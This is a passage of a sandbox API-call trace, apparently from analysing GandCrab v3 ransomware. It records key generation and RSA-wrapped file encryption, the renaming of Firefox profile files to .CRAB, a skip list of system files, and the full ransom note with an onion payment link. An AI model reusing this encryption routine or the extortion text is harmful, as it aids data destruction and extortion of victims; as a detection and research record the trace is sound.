	[0121.150] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.150] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0121.150] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0121.150] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.150] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0121.151] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.151] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.151] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.151] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0121.151] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.151] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.152] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0121.152] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0121.152] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0121.153] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165d98) returned 1
	[0121.153] CryptGetKeyParam (in: hKey=0x3165d98, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0121.153] CryptEncrypt (in: hKey=0x3165d98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0121.153] GetLastError () returned 0x0
	[0121.153] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.153] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6eb78) returned 1
	[0121.154] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x31659d8) returned 1
	[0121.154] CryptGetKeyParam (in: hKey=0x31659d8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0121.154] CryptEncrypt (in: hKey=0x31659d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0121.154] GetLastError () returned 0x0
	[0121.154] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0121.154] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\extensions.json.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0121.155] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0121.155] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0121.155] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x172b, lpOverlapped=0x0) returned 1
	[0121.178] VirtualAlloc (lpAddress=0x0, dwSize=0x1730, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0121.179] VirtualAlloc (lpAddress=0x0, dwSize=0x1730, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0121.179] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.179] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xffffe8d5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.179] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1730, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x1730, lpOverlapped=0x0) returned 1
	[0121.180] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.180] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.184] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0121.184] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0121.184] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0121.184] CloseHandle (hObject=0x3e0) returned 1
	[0121.185] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.185] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.185] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.186] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.186] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.186] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.186] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0121.186] lstrcmpW (lpString1="formhistory.sqlite", lpString2=".") returned 1
	[0121.186] lstrcmpW (lpString1="formhistory.sqlite", lpString2="..") returned 1
	[0121.186] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="formhistory.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite"
	[0121.186] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.187] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite") returned 98
	[0121.187] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite") returned 98
	[0121.187] lstrlenW (lpString=".sqlite") returned 7
	[0121.187] VirtualAlloc (lpAddress=0x0, dwSize=0x12, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.187] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".sqlite ") returned 8
	[0121.187] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.187] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite") returned 98
	[0121.187] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite") returned 98
	[0121.187] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="desktop.ini") returned 1
	[0121.187] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="autorun.inf") returned 1
	[0121.187] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="ntuser.dat") returned -1
	[0121.188] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="iconcache.db") returned -1
	[0121.188] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="bootsect.bak") returned 1
	[0121.188] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="boot.ini") returned 1
	[0121.188] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="ntuser.dat.log") returned -1
	[0121.188] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="thumbs.db") returned -1
	[0121.188] lstrcmpiW (lpString1="formhistory.sqlite", lpString2="CRAB-DECRYPT.txt") returned 1
	[0121.188] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.188] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite.CRAB") returned 103
	[0121.188] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\formhistory.sqlite")) returned 0x20
	[0121.188] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite", dwFileAttributes=0x20) returned 1
	[0121.189] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\formhistory.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\formhistory.sqlite.crab")) returned 1
	[0121.190] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0121.190] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite.CRAB"
	[0121.190] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite.CRAB.CRAB"
	[0121.190] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0121.190] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.191] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.192] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.192] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0121.192] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.192] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.192] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0121.193] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.193] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.193] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.193] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0121.193] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.193] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.194] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0121.194] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0121.194] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e6b0) returned 1
	[0121.195] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165bd8) returned 1
	[0121.195] CryptGetKeyParam (in: hKey=0x3165bd8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0121.195] CryptEncrypt (in: hKey=0x3165bd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0121.195] GetLastError () returned 0x0
	[0121.195] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0121.195] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e9e0) returned 1
	[0121.196] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165c98) returned 1
	[0121.196] CryptGetKeyParam (in: hKey=0x3165c98, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0121.196] CryptEncrypt (in: hKey=0x3165c98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0121.196] GetLastError () returned 0x0
	[0121.196] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0121.196] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\formhistory.sqlite.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0121.197] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0121.197] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0121.198] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x30000, lpOverlapped=0x0) returned 1
	[0121.244] VirtualAlloc (lpAddress=0x0, dwSize=0x30000, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0121.248] VirtualAlloc (lpAddress=0x0, dwSize=0x30000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0121.252] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.253] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffd0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.253] WriteFile (in: hFile=0x3e0, lpBuffer=0x3470000*, nNumberOfBytesToWrite=0x30000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3470000*, lpNumberOfBytesWritten=0x3149f14*=0x30000, lpOverlapped=0x0) returned 1
	[0121.254] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.255] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.259] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0121.259] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0121.259] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0121.259] CloseHandle (hObject=0x3e0) returned 1
	[0121.266] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.266] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.267] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.267] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.267] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.267] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.268] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0121.268] lstrcmpW (lpString1="gmp", lpString2=".") returned 1
	[0121.268] lstrcmpW (lpString1="gmp", lpString2="..") returned 1
	[0121.268] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="gmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp"
	[0121.268] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\"
	[0121.268] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.268] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0121.268] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0121.268] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0121.268] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0121.268] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.268] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0121.268] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0121.268] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0121.269] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0121.269] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0121.269] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0121.269] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.269] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\\\CRAB-DECRYPT.txt") returned 101
	[0121.269] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0121.272] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0121.272] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0121.273] CloseHandle (hObject=0x3e0) returned 1
	[0121.273] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.273] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\") returned 84
	[0121.273] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\*"
	[0121.274] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0x3165cd8
	[0121.274] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0121.274] FindNextFileW (in: hFindFile=0x3165cd8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0121.274] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0121.274] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0121.274] FindNextFileW (in: hFindFile=0x3165cd8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0121.274] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0121.274] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0121.274] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\CRAB-DECRYPT.txt"
